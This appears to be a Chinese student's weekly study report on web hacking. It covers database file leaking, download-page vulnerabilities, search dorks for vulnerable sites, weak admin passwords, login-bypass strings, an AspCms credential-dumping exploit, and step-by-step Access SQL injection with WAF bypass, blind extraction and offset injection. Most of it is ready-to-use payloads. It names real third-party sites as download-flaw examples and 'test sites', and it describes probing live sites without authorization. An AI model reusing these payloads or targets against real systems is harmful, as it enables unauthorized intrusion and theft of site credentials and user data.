大一第二学期周报4Web基础

弱漏洞


一·网站爆库漏洞
暴库,就是通过一些技术手段或者程序漏洞得到数据的地址,并将数据非法下载到本地。
得到数据后我们可以:
1.得到网站管理账号
2.破坏、管理网站
3.得到用户信息
4.获得更高权限

access数据库是文件形式,容易攻击

暴库利用方法:
1.(目录便利漏洞)
在百度中搜索:转到父目录
就会显示目录便利的页面,可以在里面看到所有目录和文件,如果里面有数据库路径,点开、并下载就可以了。
不过我现在搜了后,这些搜索BUG已经被修复。

2.像access数据库
一般记录数据库连接都在 lnc/conn.asp 或者 lnc%5cconn.asp这个文件中

在网站后加
/xyconn.asp::$data 可能暴露出源代码,然后在里面找到数据库连接下载就行。

3.高级语法暴库
inurl:./…admin…/…add…
inurl:./…admin…/…del…
inurl:/.asp 百度搜索可能会出现一些暴库的网站。

site:qq.com 转到父目录
看看qq.com有没有这个漏洞。

二·下载漏洞
http://ipo.snnu.edu.cn/

http://ipo.snnu.edu.cn/shida/UploadFiles/indentAttFile/2012061222041778.doc

http://ipo.snnu.edu.cn/down.asp?fileup=shida/UploadFiles/indentAttfile/2012061222041778.doc

http://www.sxzzy.cn/hhjs/news/**down.asp?FileName=**doc/2012-512012053010329973.doc

inurl:down.asp?FileName=
配合
site:
可以找到下载漏洞

下载漏洞利用
·通过蜘蛛爬行
·找到该url
·下载 conn.asp,config.php,config.asp,下载到数据库连接文件,然后去获取数据库的一些连接信息。
·db.mdb

三·网站后台密码爆破
BurpSuite工具,当然我没有这个工具
例如:admin,admin123,admin88,admin321,域名888,域名.com,123456,654321········

四·逻辑万能密钥
’or’=‘or’
Admin’ or 1=1–
admin’ or ‘1’='1

用单引号把查询password的语句给逻辑掉了,只让其检测用户名admin,把后面注入掉了。

五·破解工具
BurpSuite
Discuz破解器
一些python密码破解脚本
httpfuzzer→针对带验证码的

由于没有工具,我就跳过叙述了。

六·网站漏洞EXP利用
EXP是exploit(漏洞利用)的缩写

EXP利用,主流网站漏洞基本上都有漏洞和exp

百度搜索:Powerd by AspCms2.0
就把使用cms的网站搜出来了。
大一第二学期周报4Web基础_第1张图片

然后使用
admin/_content/_About/AspCms_AboutEdit.asp?id=19 and 1=2 union select 1,2,3,4,5,loginname,7,8,9,password,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from aspcms_user where userid=1

把这条语句放到网站根目录下,如果有这个漏洞,就直接把账号和密码爆出来了(注入漏洞)
我搜了几个网站都没有,所以这种漏洞的几率还是很小的。

注入页面
admin/_content/_About/AspCms_AboutEdit.asp?id=19

有些站点可能会把admin目录改掉。

如何看一个网站的cms?
1.一般在网站的底边有
大一第二学期周报4Web基础_第2张图片

2.有的在robots.txt文件里
大一第二学期周报4Web基础_第3张图片

3.readme.txt
在这里也可以看到一些源代码的信息。
4.使用说明.txt

Exp收集,可以百度收集。


Access数据库注入

注入漏洞,针对数据库的

一·网站分类
1.静态网页 安全性高
html或者htm,是一种静态网页的页面格式,不需要服务器解析其中的脚本。
1.不依赖数据库
2.灵活性差,制作、更新、维护麻烦
3.交互性差
4.安全,不存在SQL注入漏洞

2.动态网页
asp、aspx、php、isp等,由相应脚本引擎来执行,根据指令生成静态网页。
1.依赖数据库
2.灵活性好
3.交互性好
4.存在安全风险,可能存在SQL注入漏洞

二·常见的数据库
Access数据库(小型):asp
是多张表组成的。

Mssql数据库(中小型):php
学校用的较多

Mysql数据库:php,jsp

SqlServer:asp,aspx,jsp

还有oracle,postgresql等,较大。

三·漏洞成因 注入漏洞是怎样形成的
常见的注入流程:

客户端(参数等数据被修改)

服务端(未检查和过滤即将被修改的数据注入到SQL命令中,SQL命令功能成功被修改)

数据库引擎(执行被修改后的命令)

服务端(将注入的结果返回给客户端)

客户端(根据上一次注入获取到的敏感信息构造注入语句进行进一步注入)

注入危害:信息泄露,权限白给,数据白给。

四·数据库打开工具
数据库后缀
*.mdb

常用打开工具
辅臣数据库浏览器
破障浏览器

五·数据库查询分析
让我来举例一个域名,当时在老师的网站上可以很好的说明
127.0.0.1:19/news_detail.asp?id=108

注释:108是接受的数据信息,存在数据交互。

进入网站源代码(这里我只写重要的部分代码,加粗部分)

········
<%
id=request.QueryString(“id”)
set rs = server:···············
exec=“select * from news where id=”&id
········
%>

如果中间不存在id过滤,就可能存在注入漏洞
注释:
id=request.QueryString(“id”)
通过request的方式接受id传过来的参数

**exec=“select * from news where id=”&id **
画线的id是传过来的108,
*号是所有有关108的的内容,
news是表,
总体意思就是,在news表中搜索所有关于108的内容。
然后将对应的页面格式化输出。


如果在
127.0.0.1:19/news_detail.asp?id=108
后面加上 and 1=1

127.0.0.1:19/news_detail.asp?id=108 and 1=1
id就会把 and 1=1 带入查询

<%
id =108 and 1=1
%>

and 1=1 为条件判断,永远为真,肯定返回正确
and 1=2 永远为假

但是有waf防御都会拦截

那怎么绕过waf呢
在后面加上-0,即
127.0.0.1:19/news_detail.asp?id=108 -0
返回正常为
127.0.0.1:19/news_detail.asp?id=108%20 -0
再把上面的修改为
127.0.0.1:19/news_detail.asp?id=108%20/
一般可绕过

六·判断数据库注入
and exsits (select * from msysobjects)>0
返回正常为access数据库

and exsits (select * from sysobjects)>0
返回正常为sqlserver数据库

判断数据库表
and exsits (select * from admin)
报错,就说明没有admin这个表,否则就有,admin还可以是admim_user,manager等等。
我在CSDN上试了一下,是没有的,报错了,应该是把目录名改了。

判断数据库列名
如果表明存在,可以列一下这表里的列名,在 * 号处添加返回正常说明有这个列。


判断出是access数据库后,开始判断有多少列

我费尽千辛万苦(其实就找了5分钟),找到了一个access数据库的网站
代入
and exsits (select * from msysobjects)>0
返回正常

然后咱们看i是判断他有多少列。
在有asp?id=的界面后面加上order by 10(数字)
https://www.itapgo.com/?page_id=4682 order by 10
回车后
https://www.itapgo.com/?page_id=4682%20order%20by%2010

在我加粗的地方更改数字,10,14,15,16,17等等
加入改为16后返回正常,改为17却返回错位,那么就有16列。

order by 原本用来排序,也可用来判断多少列。

如果按照我上面的那个例子,即是这个
127.0.0.1:19/news_detail.asp?id=108
我们查的就是news这表里的。
在这个里面实则查到的是14列。

判断出有多少列后,我们进行联合查询
已知14列和admin_user这个表
127.0.0.1:19/news_detail.asp?id=108 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14 from admin_user

重点来了,
搜索后,报出来的数字是怎么回事儿呢?
因为id=108是数字类型,与数字类型不匹配的列就会爆出相应的数字,即它本来的类型是字符型的列。

然后我们就可以从字符类型开始爆破了
在老师的网课上,这个网站,爆出了2,4的数字,所以在对应位置上进行改动
127.0.0.1:19/news_detail.asp?id=108 union select 1,admin,3,password,5,6,7,8,9,10,11,12,13,14 from admin_user

跑一下

这样就把管理员账号和密码跑出来了。

七·番外篇
and (select len(admin) from admin=5
如果返回正常就说明管理员账户长度为5
同理
and (select len(password) from admin=5

密码一般为16位或32位

这个手动跑,还有上面的表列用手跑,有些累,所以我们最好用工具。

八·另一个爆破方式
通过哦按段ascii码来判断
and (select top 1 asc(mid(admin,1,1) from admin)>100
返回正常说明大于100,否则不大于

and (select top 1 asc(mid(admin,1,1) from admin)=97
返回正常说明等于97,97对应数字a
以此类推管理员账户的第二个数据
and (select top 1 asc(mid(admin,2,1) from admin)>100

九·测试站点
http://www.jnqtly.cn/cpll.asp?id=1129
http://fc1885.com/displayl_new.asp?id=237

十·常用工具
穿山甲,sqlmap等工具
个人感觉穿山甲好用,但可惜找不到下载资源就很难受。
我给大家字述一下基本用法
基本界面会存在这些
URL:(填域名,注入点)
Type:(选类型)Integer是数字类型
还有选数据库,Access,后面还有一个keyword:

填完相关信息后(keyword可以不填)点右三角形符号开始跑。

跑完后点开Datas,再点里面的Tables,可以看到跑出来的表名,选定一个表,例如admin_user
点击框中的columns,开始跑这个表,可以跑出这个表里的列名,然后再跑admin和passwoed这两列,再点里面的Datas就可以抛出用户名和密码。

然后复制加密的密码,去搜md5破解一下就行
有穿山甲这个软件的大佬麻烦跟弟弟我分享一下,谢谢大佬。

admin加密的MD5 80fc3(结尾是这个的)

十一·偏移注入
这个主要是解决表名猜到了,而不知道列名情况
用*号代替列,不让其往前解
已知38列,和表admin
http://192.168.128:8002/show.asp?pkid=4827 union select 1,2,3,4,5,6,······,37,38 from admin

改为
http://192.168.128:8002/show.asp?pkid=4827 union select 1,2,3,4,5,6,······,37,* from admin

http://192.168.128:8002/show.asp?pkid=4827 union select 1,2,3,4,5,6,······36,* from admin

这样依次往前跑,直到返回正常

http://192.168.128:8002/show.asp?pkid=4827 union select 1,2,3,4,5,6,······26,27,* from admin
跑到这时返回正常

从38跑到27,中间隔了11(等差)

因为是等差,再跑
http://192.168.128:8002/show.asp?pkid=4827 union select 1,2,3,4,5,6,······15,16,* from admin

如果报错,就代入公式
union select 1,2,3,4,5,······,15,16,a.id,b.id,*from (admin as a inner join admin as b on a.id=b.id)

如果还报错,就继续前一步,跑一下
http://192.168.128:8002/show.asp?pkid=4827 union select 1,2,3,4,5,* from admin

然后代入另一个公式
http://192.168.128:8002/show.asp?pkid=4827 union select 1,2,3,4,5,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)

这样就可以跑出密码,以此类推还可以有d.id。

你可能感兴趣的:(大一第二学期周报4Web基础)